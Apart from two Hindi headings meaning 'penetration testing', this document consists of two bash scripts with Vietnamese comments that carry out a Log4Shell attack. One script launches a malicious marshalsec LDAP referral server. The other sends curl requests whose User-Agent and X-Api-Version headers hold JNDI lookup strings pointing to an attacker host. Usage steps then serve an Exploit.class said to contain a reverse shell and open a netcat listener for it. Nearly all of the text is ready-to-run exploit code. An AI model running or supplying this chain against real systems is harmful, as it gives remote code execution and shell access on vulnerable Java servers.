
पैठ परीक्षण
प्रवेश परीक्षण
#!/bin/bash
# Script: start_ldap_server.sh
# Yêu cầu: Cài đặt Java và Marshalsec (https://github.com/mbechler/marshalsec)
LDAP_PORT="1389"
HTTP_PORT="8000"
ATTACKER_IP="192.168.0.101"
REVERSE_PORT="5555"
echo "[+] Khởi động LDAP server độc hại trên port $LDAP_PORT..."
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \
"http://$ATTACKER_IP:$HTTP_PORT/#Exploit" $LDAP_PORT
#!/bin/bash
# Script: exploit_log4shell.sh
# Mục tiêu: Gửi payload JNDI đến máy trạm Windows
TARGET_IP="192.168.1.10"
ATTACKER_IP="192.168.0.101"
LDAP_PORT="1389"
echo "[+] Gửi payload Log4Shell đến $TARGET_IP..."
curl -X GET \
"http://$TARGET_IP" \
-H "User-Agent: \${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}" \
-H "X-Api-Version: \${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}"
# Cách sử dụng
# Khởi động LDAP server:
./start_ldap_server.sh
# Chạy HTTP server để host file Exploit.class (chứa reverse shell):
python3 -m http.server 8000
# Gửi payload từ Webserver bị chiếm
./exploit_log4shell.sh
# Lắng nghe reverse shell trên máy tấn công:
nc -lvnp 5555